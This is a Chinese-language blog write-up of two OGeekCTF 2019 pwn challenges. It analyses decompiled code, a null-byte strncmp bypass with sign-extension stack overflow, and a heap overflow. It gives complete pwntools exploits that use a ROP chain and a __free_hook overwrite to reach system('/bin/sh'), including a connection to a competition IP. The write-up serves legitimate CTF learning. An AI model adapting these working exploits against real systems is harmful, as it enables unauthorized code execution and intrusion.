目录
  1. 1. pwn
    1. 1.1. babyrop
      1. 1.1.1. 题目分析
      2. 1.1.2. exp
    2. 1.2. book manager
      1. 1.2.1. 题目分析
      2. 1.2.2. 思路
      3. 1.2.3. exp
      4. 1.2.4. hub
OGeekCTF 2019 部分 writeups

pwn

babyrop

题目分析

靶机环境是32位的glibc-2.23。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl check(int random)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[32]; // [esp+2Ch] [ebp-2Ch]
ssize_t v5; // [esp+4Ch] [ebp-Ch]

memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", random);
v5 = read(0, buf, 0x20u);
buf[v5 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7];
}

程序难点在于我们输入的buf要与随机生成的random前v1个字节要相等
我们可以直接输入\0开头的字符串来进行绕过,然后strlen的长度就为0,则后面的strncmp判断必定成功

1
2
3
4
5
6
7
8
9
void __cdecl vul(char a1)
{
char buf[231]; // [esp+11h] [ebp-E7h]

if ( a1 == 127 )
read(0, buf, 200u);
else
read(0, buf, a1);
}

之后的漏洞函数中,a1是我们之前输入的第八个字符,如果我们输入\xff时;
则在read时a1会进行符号填充,那么我们就可以读入4294967295(-1)个字节,这将直接导致栈溢出,之后就行常规的ROP

exp

脚本用了两种不同的ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
execve_file = './babyrop'
#sh = process(execve_file)
sh = remote('47.112.137.238', 13337)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sh.sendline('\0' + '\xff' * 10)
sh.recvuntil('Correct\n')


sh.sendline('a'*231+'b'*4+p32(elf.plt['write'])+p32(0x080487D0)+p32(1)+p32(elf.got['puts'])+p32(4))
result=sh.recv(4)
libc.address = u32(result) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc.address))
sh.send('a'*231+'b'*4+p32(libc.symbols['system'])+p32(0)+p32(libc.search('/bin/sh').next()))
sh.interactive()


'''
sh.send('a' * 231 + p32(0x804b000 - 0x800) + p32(elf.plt['puts']) + p32(0x08048519) + p32(elf.got['puts']) + p32(elf.plt['read']) + p32(0x08048608) + p32(0) + p32(0x804b000 - 0x800) + p32(0x200))
result = sh.recvuntil('\n')[:-1]
libc_addr = u32(result) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc_addr))
sh.send(p32(0) + p32(libc_addr + libc.symbols['system']) + p32(libc_addr + libc.symbols['exit']) + p32(libc_addr + libc.search('/bin/sh').next()))
sh.interactive()
'''

book manager

题目分析

靶机环境是glibc-2.23,
在Add_text功能中,size的大小是由用户决定的,而在Update功能中,其输入的大小指定为255,导致堆溢出漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
v6 = get_int();
if ( v6 <= 256 )
{
v2 = *(_QWORD *)(*(_QWORD *)(a1 + 8 * (v4 + 4LL)) + 8 * (i + 4LL));
*(_QWORD *)(v2 + 32) = malloc(v6);
printf("\nText:");
read_n(&s, 0x100u);
v3 = strlen(&s);
memcpy(*(void **)(*(_QWORD *)(*(_QWORD *)(a1 + 8 * (v4 + 4LL)) + 8 * (i + 4LL)) + 32LL), &s, v3);
}
else
{
printf("\nToo many");
}

1
2
3
4
printf("\nNew Text:");
read_n(*(void **)(*(_QWORD *)(*(_QWORD *)(a1 + 8 * (v5 + 4LL)) + 8 * (v6 + 4LL)) + 32LL), 255u);
printf("\nUpdated", 255LL);
return;

思路

  • 由于Text结构的输入没有null截断,我们可以直接泄露libc地址
  • 劫持Text结构体,实现任意地址读写,我们只需要提前布置好heap 结构就行
  • 劫持hook,getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'

execve_file = './bookmanager'
sh = process(execve_file)
#sh = remote('47.112.115.30', 13337)
elf = ELF(execve_file)
# libc = ELF('./libc-2.23.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')



def Add_chapter(c_name):
sh.sendlineafter('Your choice:', '1')
sh.sendafter('Chapter name:', c_name)

def Add_section(c_name, s_name):
sh.sendlineafter('Your choice:', '2')
sh.sendafter('Which chapter do you want to add into:', c_name)
sh.sendafter('Section name:', s_name)

def Add_text(s_name, size, text):
sh.sendlineafter('Your choice:', '3')
sh.sendafter('Which section do you want to add into:', s_name)
sh.sendlineafter('How many chapters you want to write:', str(size))
sh.sendafter('Text:', text)

def Remove_text(s_name):
sh.sendlineafter('Your choice:', '6')
sh.sendafter('Section name:', s_name)

def Book_preview():
sh.sendlineafter('Your choice:', '7')

def Update(s_name, text):
sh.sendlineafter('Your choice:', '8')
sh.sendlineafter('hat to update?(Chapter/Section/Text):', 'Text')
sh.sendafter('Section name:', s_name)
sh.sendafter('New Text:', text)

sh.recvuntil('Name of the book you want to create: ')
sh.send('a' * 30)
gdb.attach(sh)
Add_chapter('aaaa\n')
Add_section('aaaa\n', 'bbbb\n')
Add_section('aaaa\n', 'cccc\n')
Add_text('bbbb\n', 0x88, '\n')
Add_text('cccc\n', 0x68, 'here\n')

Remove_text('bbbb\n')
Add_text('bbbb\n', 0x88, '\x78')
Book_preview()

sh.recvuntil('Section:bbbb')
sh.recvuntil('Text:')

result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))

Add_section('aaaa\n', 'dddd\n')
Update('cccc\n', '/bin/sh\0'.ljust(0x60, '\0') + p64(0) + p64(0x41) + 'dddd'.ljust(0x20, '\0') + p64(libc_addr + libc.symbols['__free_hook']))
Update('dddd\n', p64(libc_addr + libc.symbols['system']))

Remove_text('cccc\n')

sh.interactive()
clear()

hub

文章作者: nocbtm
文章链接: https://nocbtm.github.io/2019/10/11/OGeekCTF-2019-部分-writeups/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 nocbtm's Blog
打赏
  • 微信
  • 支付宝